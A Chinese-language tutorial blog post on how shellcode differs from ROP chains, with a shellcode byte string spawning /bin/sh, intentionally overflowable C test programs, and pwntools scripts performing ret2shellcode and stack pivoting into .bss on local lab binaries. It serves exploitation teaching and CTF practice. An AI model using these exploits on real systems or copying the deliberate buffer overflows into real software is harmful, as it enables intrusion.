对于shellcode的一些理解

文章发布时间:

最后更新时间:

文章总字数:
1.6k

预计阅读时间:
7 分钟

仅凭一段机器码 为什么shellcode可以篡改程序执行流 使其达到我们想要的结果

并且shellcode不同于rop链 并不能只是简单的覆盖ret addr为shellcode就可以达到效果 二者不同在哪里?

为什么bss段如果没有可执行权限的话就不能执行shellcode 但是同样的情况下就可以通过在bss段上写入rop链 随后栈迁移来控制程序执行流? 这些疑问一一来解决一下

首先 什么是shellcode?

wiki上是这样定义的:

1
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

其是一段机器码 用来启动一个命令界面 攻击者可以用其来控制漏洞机器

通常的shellcode长什么样?

1
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

上面是一段23字节的64位shellcode 可以用来执行system(/bin/sh)

编写下面的程序 并且把NX保护关闭

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
char magic[200];
int main(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char a[20];
puts("this is a test");
puts("input shellcode to bss");
read(0,magic,0x200);
puts("modify the retaddr");
read(0,a,0x200);
}

向bss段中写入shellcode 并且修改retaddr为magic数组的首地址

但是如果想要直接覆盖ret addr为shellcode那么就无法达到同样的攻击效果

这是因为覆盖ret addr 实际上利用栈帧结束后 自带的两行指令 leave 和ret(外平栈)

来使esp和ebp指针指向父函数的栈帧 继续执行上一步操作 也就是说 ret add需要是一个地址 指向一连串的指令或者是shellcode这样的字节流数据

当然了 也正是出于栈帧的这种回归到父函数的操作 延申出了一种栈溢出手法叫做 栈迁移

下文不做基础解释 而是进行一个额外的知识扩展

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
io = process("./a.out")
context.arch = "amd64"
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
io.recvuntil("input shellcode to bss")
io.sendline(shellcode)
bss_addr = 0x601060
io.recvuntil("modify the retaddr")
payload = cyclic(0x28)+p64(bss_addr)
io.sendline(payload)
io.interactive()

如果打开NX保护 也就是使bss段不可执行 那么shellcode就无法执行

但是如果我们将bss段中的数据改为一串rop链 通过栈迁移的办法 看能不能实现系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
char magic[200];
int main(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char a[20];
system("echo this is a test");
puts("/bin/sh gift!");
puts("input shellcode to bss");
read(0,magic,0x200);
puts("modify the retaddr");
read(0,a,0x200);
}

给了system函数和字符串/bin/sh 很简单的rop64 不过我们不用覆盖ret addr来做 我们在bss段中构造rop链 然后栈迁移 注意此时NX保护打开了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
io = process("./a.out")
context.arch = "amd64"
context.log_level = "debug"
io.recvuntil("input shellcode to bss")
rdi_addr = 0x400753
binsh_addr = 0x400788
bss_addr = 0x601080
system_addr = 0x400520
leave_addr = 0x4006eb
ret_addr = 0x4004fe
gadget1_addr = 0x400730
payload = p64(ret_addr)*100+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.send(payload)
io.recvuntil("modify the retaddr")
payload = cyclic(0x20)+p64(bss_addr-0x8)+p64(leave_addr)
io.send(payload)
io.interactive()

唯一不好理解的地方在于为什么要多出来一百个字长的ret指令 首先 外平栈中ret指令相当于pop eip

弹出了一个栈空间 所以相当于往低地址的方向抬高栈顶

其次 我们需要明白为什么需要抬高栈顶 如果我们不抬的话会出现什么问题?

下面是没有p64(ret_addr)*100的情况 我们用pwndgb来查看一下此时的栈

我们本来是想要将栈迁移至0x601080 但是此时指向了0x600f00

1
2
3
4
5
6
7
8
9
10
LOAD:0000000000600F00                 Elf64_Dyn <2, 60h>      ; DT_PLTRELSZ
LOAD:0000000000600F10 Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000600F20 Elf64_Dyn <17h, 400488h> ; DT_JMPREL
LOAD:0000000000600F30 Elf64_Dyn <7, 400428h> ; DT_RELA
LOAD:0000000000600F40 Elf64_Dyn <8, 60h> ; DT_RELASZ
LOAD:0000000000600F50 Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000600F60 Elf64_Dyn <6FFFFFFEh, 400408h> ; DT_VERNEED
LOAD:0000000000600F70 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000600F80 Elf64_Dyn <6FFFFFF0h, 4003F6h> ; DT_VERSYM
LOAD:0000000000600F90 Elf64_Dyn <0> ; DT_NULL

ida一般以load段中的内容来解析二进制文件 但是为什么esp会指向这里呢?

此时的栈帧空间迁移到了bss段 但是栈是由高地址往低地址处写 而bss段上方不远处是got表 很明显不能这样篡改got表

因为程序无法完成正常的栈迁移 如果你尝试过往test段迁移 就不会出现这种情况

所以这里利用ret指令抬高栈顶 跨过got表 就可以成功栈迁移

同理 如果我们写入的bss段处地址离got表远一点 也可以达到同样的效果 如果你有做过一些栈迁移的题目 你会发现网上的exp迁移至的地址往往会偏差几百个字节 也是同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
io = process("./a.out")
context.arch = "amd64"
context.log_level = "debug"
io.recvuntil("input shellcode to bss")
rdi_addr = 0x400753
binsh_addr = 0x400788
bss_addr = 0x601080+0x300
system_addr = 0x400520
leave_addr = 0x4006eb
ret_addr = 0x4004fe
gadget1_addr = 0x400730
payload = cyclic(0x300)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.send(payload)
io.recvuntil("modify the retaddr")
payload = cyclic(0x20)+p64(bss_addr-0x8)+p64(leave_addr)
io.send(payload)
io.interactive()

这里说个题外话 这种因为bss段和got表近导致的情况还是很常见的 在出unlink题目的时候 也会遇到这种情况 不能做到任意写 但是可以通过出题的时候多声明一个全局数组 使其位于任意写的数组低地址处 详见以往的博客

至此 我们可以浅显的得出一个结论:

1.当程序没有开启NX保护的时候 并且我们得知栈地址或者bss段地址(人话:写入shellcode的地址) 可以通过ret2shellcode来解决题目

2.当程序没有打开NX保护 并且栈溢出的长度仅仅只有覆盖ret addr的长度 而且我们拥有往bss段(或者是rw-p权限的空间 即可读可写)

我们可以通过往该空间写入rop链 随后劫持esp和ebp栈迁移

要素在于理解说shellcode不同于rop链 其是一串字节流 可以达到特殊命令的字节流

同时 在日后的题目中 要小心因为bss段和got表过于近而导致的栈空间出错 并能意识到这个问题